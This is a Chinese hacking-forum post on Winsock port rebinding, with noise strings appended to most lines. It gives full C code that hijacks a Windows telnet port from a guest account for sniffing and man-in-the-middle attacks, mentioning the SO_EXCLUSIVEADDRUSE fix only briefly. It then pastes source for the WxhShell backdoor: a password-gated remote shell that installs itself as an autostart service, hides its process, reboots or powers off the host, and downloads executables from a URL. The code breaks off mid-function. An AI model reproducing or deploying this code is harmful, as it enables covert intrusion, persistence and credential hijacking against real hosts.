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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: vvG"rU  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); tJ7F.}\;C  
#.!#"8{0_  
  saddr.sin_family = AF_INET; UCXRF  
 !^8X71W|  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); fs:yx'mxV  
?pcbso  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); hs5>Gx  
j0j!oj)7I  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 [2YPV\=  
[Y~~C J  
  这意味着什么?意味着可以进行如下的攻击: MN8>I=p  
&CcW(-  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 ]Y-Y.&b7t  
|N^"?bSt  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) Qwt0~9n(  
ZJenwo  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 x.4z)2MO  
OrYN-A4{  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  //;(KmU9  
Hq+QsplG  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 d3|/&gDBK  
(w{T[~6  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 j!y9E~Zz  
:p,|6~b$  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 ya{`gjIlW  
]jY^*o[  
  #include -8Hc M\b  
  #include z9g ++]rkJ  
  #include U[|5:qWs  
  #include    3 tCTPZy  
  DWORD WINAPI ClientThread(LPVOID lpParam);   tjwn FqI  
  int main() Q"B8l[  
  { 6^t#sEff]  
  WORD wVersionRequested; 6%h%h: e  
  DWORD ret; x.Egl4b3  
  WSADATA wsaData; .d r Y  
  BOOL val; FZO&r60$E  
  SOCKADDR_IN saddr; h`n '{s  
  SOCKADDR_IN scaddr; lVQE}gd%m  
  int err; (9oo8&GG  
  SOCKET s; p"c6d'qe  
  SOCKET sc; $,J}w%A  
  int caddsize; H la?\  
  HANDLE mt; ]{q=9DczG(  
  DWORD tid;   Nf<f}`  
  wVersionRequested = MAKEWORD( 2, 2 ); Lui6;NY  
  err = WSAStartup( wVersionRequested, &wsaData ); 1Ml<>  
  if ( err != 0 ) { Y,GlAr s4  
  printf("error!WSAStartup failed!\n"); tkR~(h  
  return -1; <tBT?#C9+  
  } 9 " t;6  
  saddr.sin_family = AF_INET; z@,(^~C_  
   Z$g'h1,zW  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 vanV|O  
[5p3:D  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); u<uc"KY=  
  saddr.sin_port = htons(23); !L8q]]'XM  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) Sir1>YEm  
  { k2$pcR,WM  
  printf("error!socket failed!\n"); E0Q6Ryn  
  return -1; auc:|?H~1n  
  } ['Lo8 [  
  val = TRUE; #^r-D[/m  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 [8UZ5_1WL  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) 2oEuqHL  
  { gm2|`^Xq$  
  printf("error!setsockopt failed!\n"); _S7?c^:~  
  return -1; 87[ ,.W  
  } G![d_F" e  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; 4K'U}W  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 g_IcF><F  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 .:f ao'  
?8{Os;!je  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) x'|9A?ez@Z  
  { .`m|Uf#" _  
  ret=GetLastError(); $x`HmL3Sb  
  printf("error!bind failed!\n"); !L{mE&  
  return -1; MKvmzLh$)  
  } g*My1+J!  
  listen(s,2); o-Dfud@  
  while(1) n}F$kyI  
  { fo+s+Q|Y  
  caddsize = sizeof(scaddr); Y @'do)  
  //接受连接请求 ]T'8O`  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); "i(f+N,)  
  if(sc!=INVALID_SOCKET) c:Cw #  
  { 'DVn /3?X  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); MymsDdQ]  
  if(mt==NULL) nvf5a-C+q  
  { & ;.rPU  
  printf("Thread Creat Failed!\n"); lY"l6.c  
  break; U`=r .>  
  } j@(S7=^C6%  
  } %;ED} X  
  CloseHandle(mt); HBR/" m  
  } Z2m^yRQ(  
  closesocket(s); U5N|2  
  WSACleanup(); :AFW=e@<  
  return 0; k^8;3#xG  
  }   8v2Wi.4T  
  DWORD WINAPI ClientThread(LPVOID lpParam) d;p3cW"  
  { H @k }  
  SOCKET ss = (SOCKET)lpParam; ]:D&kTc  
  SOCKET sc; FS&QF@dtgf  
  unsigned char buf[4096]; #*qV kPX  
  SOCKADDR_IN saddr; )s^gT]"N  
  long num; -XL? n/M  
  DWORD val; =23B9WT   
  DWORD ret; &odQ&%X  
  //如果是隐藏端口应用的话,可以在此处加一些判断 Zf}2c8Vc4  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   W|@SXO)DY  
  saddr.sin_family = AF_INET; 72xf| s=  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); g]HWaFjc5  
  saddr.sin_port = htons(23); T88$sD.2 '  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 4 qsct@K,  
  { r9u'+$vmF  
  printf("error!socket failed!\n"); 5JVBDA^#om  
  return -1; guYP|  
  } -M6vg4gf  
  val = 100; EiC["M'}  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) g]HxPq+O  
  { ]kmAN65c  
  ret = GetLastError(); T_c`=3aO  
  return -1; !p+rU?  
  } EeQ8Uxb7  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) y'8T=PqY[t  
  { \G v\&_  
  ret = GetLastError(); > `eo0  
  return -1; faLfdUimJ  
  } Q+K]:c  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) uc!6?+0h  
  { uGXvP(Pg'  
  printf("error!socket connect failed!\n"); SGZYDxFC@  
  closesocket(sc);  EJC}"%h  
  closesocket(ss); um]*nXIr  
  return -1; 1_LKqBgo  
  }  lY`WEu  
  while(1) "~=}&  
  { T<7}IH$6xE  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 E#m^.B-}  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 YK8l#8K  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 gM1:*YK  
  num = recv(ss,buf,4096,0); A ;`[va  
  if(num>0) CpN*1s})d  
  send(sc,buf,num,0); XU}i<5  
  else if(num==0) \)\n5F:Zu  
  break; E5P.x^  
  num = recv(sc,buf,4096,0); nY1PRX\  
  if(num>0) xP1D 9   
  send(ss,buf,num,0); wd|^m%  
  else if(num==0) 5?>Q[a.Ne  
  break; "N%W5[C{  
  } j^ 8Hjg  
  closesocket(ss); 7SkW!5  
  closesocket(sc); ,:}VbQ:3I  
  return 0 ; MJe/ \  
  } cqh1,h$sG  
=u9e5n  
U/q"F<?.c  
========================================================== X%*BiI  
fvTp9T\f3  
下边附上一个代码,,WXhSHELL ~rOvVi&4  
:X9;KoJl-V  
========================================================== GPs4:CIgG  
CWp>8@v  
#include "stdafx.h" [C 7X#|  
<MhODC")  
#include <stdio.h> ZyC[w 7$I2  
#include <string.h> >/GYw"KK  
#include <windows.h> mrE> o !  
#include <winsock2.h> 7[kDc-  
#include <winsvc.h> C\C*@9=&x  
#include <urlmon.h> 0""%@X]m  
4yxf/X)  
#pragma comment (lib, "Ws2_32.lib") !&KE">3Qu  
#pragma comment (lib, "urlmon.lib") 65 &+Fv  
}VH` \g}  
#define MAX_USER   100 // 最大客户端连接数 = "Lb5!  
#define BUF_SOCK   200 // sock buffer E0r#xmk  
#define KEY_BUFF   255 // 输入 buffer :]\-GJV5  
ezJ^ r,D|  
#define REBOOT     0   // 重启 #c<F,` gdi  
#define SHUTDOWN   1   // 关机 [e.`M{(TB  
2+(SR.oGq  
#define DEF_PORT   5000 // 监听端口 fEK%)Z:0  
)J\ JAUj  
#define REG_LEN     16   // 注册表键长度 $Ovq}Rexc  
#define SVC_LEN     80   // NT服务名长度 :Z;kMrU  
"NSY=)fV  
// 从dll定义API 0R+<^6^l)  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); I%{D5.du  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); g ?% ]()E  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); bb/A}< zD  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); czo*_q%  
k lr1"q7  
// wxhshell配置信息 ^?0WE   
struct WSCFG { y3'K+?4  
  int ws_port;         // 监听端口 A:sP%c;  
  char ws_passstr[REG_LEN]; // 口令 v'y<}U  
  int ws_autoins;       // 安装标记, 1=yes 0=no zq^eL=%:  
  char ws_regname[REG_LEN]; // 注册表键名 OOus*ooo2  
  char ws_svcname[REG_LEN]; // 服务名 !Cm9DzG  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 .#e?[xxk  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ug`Jn&x!  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 x2]chN  
int ws_downexe;       // 下载执行标记, 1=yes 0=no jA%R8hdr_  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" .YS48 c  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 Bb5RZ#oa  
^j_t{h)W(0  
}; PTA_erU  
bb`DyUy ^+  
// default Wxhshell configuration QN~9O^  
struct WSCFG wscfg={DEF_PORT, -Ze2]^#dl  
    "xuhuanlingzhe", -S $Y0FDV  
    1, )Oj%3  
    "Wxhshell", pEGHW;  
    "Wxhshell", ^zS|O]Tx  
            "WxhShell Service", ~ln96*)M;  
    "Wrsky Windows CmdShell Service", P.t7_v>  
    "Please Input Your Password: ", >RmL0d#B  
  1, c$%I^f}'  
  "http://www.wrsky.com/wxhshell.exe", 2 mvp|< "  
  "Wxhshell.exe" 7bam`)n  
    }; M059"X="  
-S}^b6WL  
// 消息定义模块 pe`&zI_`?  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; za4:Jdr  
char *msg_ws_prompt="\n\r? for help\n\r#>"; V@ph.)z  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; =G/`r!r*0I  
char *msg_ws_ext="\n\rExit."; \]t }N  
char *msg_ws_end="\n\rQuit."; f'M7x6W  
char *msg_ws_boot="\n\rReboot..."; 3:P "6mN  
char *msg_ws_poff="\n\rShutdown..."; xOpCybmc  
char *msg_ws_down="\n\rSave to "; X9uYqvP\(  
:+S~N)0j^  
char *msg_ws_err="\n\rErr!"; N^tH&\G\m  
char *msg_ws_ok="\n\rOK!"; 0',-V2  
0(!=N 1l  
char ExeFile[MAX_PATH]; G?{uR6s>#  
int nUser = 0; I9r> 3?  
HANDLE handles[MAX_USER]; p8u -3  
int OsIsNt; |S VL%agZ  
RT=(vq @  
SERVICE_STATUS       serviceStatus; L/J)OJe\  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; D~<0CQ3n.  
}%eXGdC  
// 函数声明 %MUwd@,  
int Install(void); (V+iJ_1g{  
int Uninstall(void); !Ry4 w|w  
int DownloadFile(char *sURL, SOCKET wsh); :E9@9>3S  
int Boot(int flag); k<NEauQ  
void HideProc(void); Z0%Qy+%  
int GetOsVer(void); 7(= 09z  
int Wxhshell(SOCKET wsl); K~>ESMZ5  
void TalkWithClient(void *cs); XFN4m #  
int CmdShell(SOCKET sock); V\o& {7!  
int StartFromService(void); 0j|JyS:}G  
int StartWxhshell(LPSTR lpCmdLine); @460r  
PP)-g0^@  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); W[tX%B  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ::rKW *?  
-}*YfwK  
// 数据结构和表定义 MXU8QVSY"  
SERVICE_TABLE_ENTRY DispatchTable[] = lAPvphO  
{ L9)nRV8  
{wscfg.ws_svcname, NTServiceMain}, vb Mv8Nk  
{NULL, NULL} ];o[Yn'>o  
}; ~~'UQnUN4  
h/n&& J  
// 自我安装 >) PcK  
int Install(void) ;O7<lF\7o  
{ 9i+SU|;j  
  char svExeFile[MAX_PATH]; UDz#?ZWnd  
  HKEY key; H-.8{8  
  strcpy(svExeFile,ExeFile); 4#y  
[6Gb@jG  
// 如果是win9x系统,修改注册表设为自启动 7$* O+bkn:  
if(!OsIsNt) { <jvSV5%  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { A5> ,e|  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); /"<o""<]  
  RegCloseKey(key); zcNv T  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ta 66AEc9  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); PxHH h{y%c  
  RegCloseKey(key); Os-sYaW  
  return 0; H|0GRjC  
    } ( AnM _s  
  } Xm2p<Xu8h  
} UjU*`}k3  
else { tZ ]/?+1G  
}[OOkYF#r  
// 如果是NT以上系统,安装为系统服务 zLiFk<G@Xi  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 7R=cxD&  
if (schSCManager!=0) -?$Hr\  
{ z!GLug*j`  
  SC_HANDLE schService = CreateService \L: ;~L/  
  ( -q.tU*xf'  
  schSCManager, }XiV$[xHd  
  wscfg.ws_svcname, .UuCTH;6`  
  wscfg.ws_svcdisp, 4>&%N\$*  
  SERVICE_ALL_ACCESS, ^l4=/=RR  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , \We\*7^E  
  SERVICE_AUTO_START, 8 3wa{m:  
  SERVICE_ERROR_NORMAL, sSMcF[]@2I  
  svExeFile, }QL 2#R  
  NULL, 8&"@6/)[  
  NULL, !5P\5WF~Y  
  NULL, _JjR= m  
  NULL, 'bXm,Ed  
  NULL 1c} %_Z/  
  ); j[fVF3v  
  if (schService!=0) QM }TPE  
  { ,5_Hen=PI  
  CloseServiceHandle(schService); 5@6%/='I q  
  CloseServiceHandle(schSCManager); Wm/0Y'$r&k  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); *L3>:],7  
  strcat(svExeFile,wscfg.ws_svcname); bI,gNVN=  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { B9RB/vHH  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); -&u2C}4s  
  RegCloseKey(key); &K_"5.7-56  
  return 0; y[s* %yP3l  
    } 8)D5loS  
  } Ck|3DiRQ  
  CloseServiceHandle(schSCManager); C]tHk)<|42  
} ;:[!I]E0  
} 2?9SM@nAY  
EVW{!\8[  
return 1; $Xf gY1S  
} 9w Pc03a  
SG{> t*E  
// 自我卸载 ;L5'3+U  
int Uninstall(void) n'yC-;  
{ #l6L7u0~wC  
  HKEY key; s^]F4'  
S(c,Sinc  
if(!OsIsNt) { e[HP]$\   
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ?]'Rz\70  
  RegDeleteValue(key,wscfg.ws_regname); El~x$X*  
  RegCloseKey(key); F8J;L](Dq  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 8v},&rhPQq  
  RegDeleteValue(key,wscfg.ws_regname); \o-Q9V  
  RegCloseKey(key); 1Y"[Qs]"mU  
  return 0; v(T;Y=&  
  } Y7yh0r_  
} 4Lo8Eue  
} {jX h/`  
else { .~+I"V{y F  
d?RKobk  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); (=d%Bn$6b  
if (schSCManager!=0) <m"yPi3TY  
{ MZGN,[~)6  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); {CM%QMM  
  if (schService!=0) I@l' Fx  
  { $q]:m+Fm  
  if(DeleteService(schService)!=0) { ?- 5{XrNm  
  CloseServiceHandle(schService); T>l=0a #  
  CloseServiceHandle(schSCManager); W 2VH?-Gw  
  return 0; -vcHSwG b  
  } (%huWW j  
  CloseServiceHandle(schService); D 6trqB  
  } {%(_Z`vI  
  CloseServiceHandle(schSCManager); ]wg+zOJu]+  
} E>tlY&0[$  
} e~C^*wL  
#<X+)B6t  
return 1; U5; D'G  
} OTA@4~{C  
2jTP (b2b  
// 从指定url下载文件 ]VifDFL}  
int DownloadFile(char *sURL, SOCKET wsh) }|rnyYA  
{ hKq#i8py  
  HRESULT hr; NGD?.^ (G  
char seps[]= "/"; B{wx"mK  
char *token; Iz/o|o]#  
char *file; 1us-ootsjP  
char myURL[MAX_PATH]; yIBT*,4  
char myFILE[MAX_PATH]; c}a.  
3%?01$k  
strcpy(myURL,sURL); %(GWR@mfC  
  token=strtok(myURL,seps); ?\dY!  
  while(token!=NULL) ?lJm}0>  
  { U[/k=}76  
    file=token; G3HmLz  
  token=strtok(NULL,seps); DBuvbq-  
  } KJPCO0"  
\$Xo5f<  
GetCurrentDirectory(MAX_PATH,myFILE); 12\h| S~  
strcat(myFILE, "\\"); !Pf_he  
strcat(myFILE, file); T6[];|%W  
  send(wsh,myFILE,strlen(myFILE),0); F6*n,[5(  
send(wsh,"...",3,0); yUF<qB  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); Y27x;U  
  if(hr==S_OK) {AbQaw  
return 0; @EZ@X/8{&  
else 5Z]zul@+*  
return 1; 3 8>?Z ]V  
X/  
} YGP.LR7  
TAbd[:2{F  
// 系统电源模块 CeD O:J=,  
int Boot(int flag) {VBx;A3*I  
{ z;6 Tp  
  HANDLE hToken; @^8tk3$ Y  
  TOKEN_PRIVILEGES tkp; bmT_tNz  
V @A+d[  
  if(OsIsNt) { \2(Uqf#_  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); `9a %vN  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); Fp>iwdjFg  
    tkp.PrivilegeCount = 1; F-?K]t#  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; iUl5yq  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); .4c*  _$  
if(flag==REBOOT) { YPQ&hEu0  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) TfaL5evio  
  return 0; ~|e?@3_G  
} RG [*:ReB9  
else { \ct)/  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) @= f2\hU  
  return 0; ~^((tT  
}  LAG*H  
  } 7%C6hEP/*W  
  else { <aJdm!6  
if(flag==REBOOT) { T4,dhS|  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 0 1U/{D6D  
  return 0; %~`8F\Hiu  
} D_oGhQYY4  
else { t sdkpt  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) cd1M0z  
  return 0; C8qA+dri  
} 5)fEs.r0U  
} j4j %r(  
w5 nzS)B:u  
return 1; MP/6AAt7=|  
} T#'+w@Q9{9  
\ IJ\  
// win9x进程隐藏模块 u_[^gS7  
void HideProc(void) +]^6&MqO  
{ Pt~mpRl H  
R7: >'*F  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); h|h-<G?>  
  if ( hKernel != NULL ) [)V&$~xW  
  { qdoJIP{  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); d;` bX+K  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ,7:_M> -3g  
    FreeLibrary(hKernel); qkB)CY7  
  } PjriAlxD  
ea-NqdGs;m  
return; .v<c_~y  
} asT:/z0  
o@TxDG  
// 获取操作系统版本 H\7#$ HB  
int GetOsVer(void) P@P(&{@  
{ et|QW;*L  
  OSVERSIONINFO winfo; Fy!u xT-\  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); p!^.;c  
  GetVersionEx(&winfo); 2 2K:[K  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)  DJ?kQ  
  return 1; e573UB  
  else ft oz0Vb  
  return 0; 'f0*~Wq|  
} C2RR(n=N^  
8 x$BbK  
// 客户端句柄模块 \ FW{&X9a  
int Wxhshell(SOCKET wsl) 0{bGVLp  
{ ssVO+ T  
  SOCKET wsh; Qhlgu!  
  struct sockaddr_in client; ,L ;ueAo  
  DWORD myID; 'V";"Ei  
j)IXe 0dMC  
  while(nUser<MAX_USER) :#8#tLv  
{ ~~eR,HYk  
  int nSize=sizeof(client); Sc Uh -y_  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); /Po't(-x  
  if(wsh==INVALID_SOCKET) return 1; 2Cd#~  
lWj{pyZ  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); o~7~S  
if(handles[nUser]==0) (=:9pbP  
  closesocket(wsh); ax{+7  k  
else ;O=tSEe  
  nUser++; p9]008C89  
  } 9Z}Y2:l'  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); .kWMr^ g  
i=$##  
  return 0; .{+<o  
} [gm[mwZ  
2_lgy?OE`  
// 关闭 socket ,-7w\%*  
void CloseIt(SOCKET wsh) +Bk d  
{ C.I.f9s?R  
closesocket(wsh); JjarMJr| D  
nUser--; vZj:\geV  
ExitThread(0); 'PW~4f/m  
} iB#xUSkS  
dL%?k@R  
// 客户端请求句柄 R$( FrbC  
void TalkWithClient(void *cs) o33 wePx,  
{ C?6wIdp  
J#DYZ>}Y  
  SOCKET wsh=(SOCKET)cs; 6XyhOs%/  
  char pwd[SVC_LEN]; }RX[J0Prq~  
  char cmd[KEY_BUFF]; L&3Ak}sh  
char chr[1]; &Rw4ub3  
int i,j; 4B>N[#-0=  
8>" vAEf  
  while (nUser < MAX_USER) { X`kTbIZ|  
3|4jS"t{f  
if(wscfg.ws_passstr) { : vN'eL|#  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); o*OYZ/_L  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); XO sPKq  
  //ZeroMemory(pwd,KEY_BUFF); A[QUFk(  
      i=0;  pv<$ o  
  while(i<SVC_LEN) { 2QwdDKMS_  
O>]I!n`!!A  
  // 设置超时 ETk4I "  
  fd_set FdRead; ?+-uF }  
  struct timeval TimeOut; J})G l  
  FD_ZERO(&FdRead); f 7B)iI!  
  FD_SET(wsh,&FdRead); ]AoRK=aH  
  TimeOut.tv_sec=8; 3!_XFV  
  TimeOut.tv_usec=0; aewVq@ngq!  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 0k"n;:KM8  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); -#Xo^-&  
'0QrM,B9  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); dg[ &5D1Q  
  pwd=chr[0]; o'Q"  
  if(chr[0]==0xd || chr[0]==0xa) { Q)eYJP=W  
  pwd=0; 'p3JYRT$  
  break; MVdX  
  } D:`b61sWi_  
  i++; (]* Ro 8  
    } ? &ie;t<7  
l{tpFu9v  
  // 如果是非法用户,关闭 socket *x[ZN\$`Y  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Jq0aDf f  
} H4C]%Q  
}7p`8?  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); v x qsK  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); eXo7_#  
d:08@~#  
while(1) { Zpfsh2`  
b1An2 e[  
  ZeroMemory(cmd,KEY_BUFF); 'qR)f\em  
c*o05pMS  
      // 自动支持客户端 telnet标准   v@_}R_pX  
  j=0; D@9adwQb  
  while(j<KEY_BUFF) { )+;Xfftz  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); W"j&':xD  
  cmd[j]=chr[0]; JC| j*x(k/  
  if(chr[0]==0xa || chr[0]==0xd) { W&E?#=*X  
  cmd[j]=0; HCOv<k  
  break; 38<!Dt+S(,  
  } xgsEJE  
  j++; ^0oOiZs  
    } %K0 H?^.  
F@ Sw  
  // 下载文件 FbH 1yz  
  if(strstr(cmd,"http://")) { VK>ZH^-  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); } a#RX$d&  
  if(DownloadFile(cmd,wsh)) "u#,#z_  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); p0c*)_a*  
  else sw<GlF"  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); R_? Q`+X  
  } ]w7wwU^^*U  
  else { fpd4 v|(  
a=m4)tjk  
    switch(cmd[0]) { ?T.'  q  
  %x(||cq  
  // 帮助 Tj0qq.  
  case '?': {  {yXpBS  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); !vd(WKq  
    break; b+b].,  
  } #8xP,2&zf  
  // 安装 [wp(s2=  
  case 'i': { mdzUL d5J  
    if(Install()) W(~7e?fO  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); C/34K(  
    else -zn$h$N4  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); "{TVd>9_  
    break; @\ udaZc  
    } <L!9as]w  
  // 卸载 d@d\9*mn  
  case 'r': { _]oNbcbt(  
    if(Uninstall()) {,:yZ&(  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); = Ob-'Syg>  
    else EA# {N<  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ^l;N;5L  
    break; iX]tL:,~i  
    } LN=6u  
  // 显示 wxhshell 所在路径 *;E\,,Io  
  case 'p': { 8.`*O  
    char svExeFile[MAX_PATH]; },eV?eGj  
    strcpy(svExeFile,"\n\r"); mz-sazgV  
      strcat(svExeFile,ExeFile); _!qi`A  
        send(wsh,svExeFile,strlen(svExeFile),0); :v$][jZ2  
    break; nF"NXYa  
    } qcVmt1"  
  // 重启 ;RR\ Hwix  
  case 'b': { $p(  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); K9\r2w'T'  
    if(Boot(REBOOT)) >`E (K X  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); &9j*Y  
    else { eDkJ+5b  
    closesocket(wsh); SN#Cnu}  
    ExitThread(0); o5h*sQ9  
    } $?Dcp^  
    break; J 2H$ALl  
    } a_z1S Z2[  
  // 关机 V*d@@%u**  
  case 'd': { nO#a|~-))  
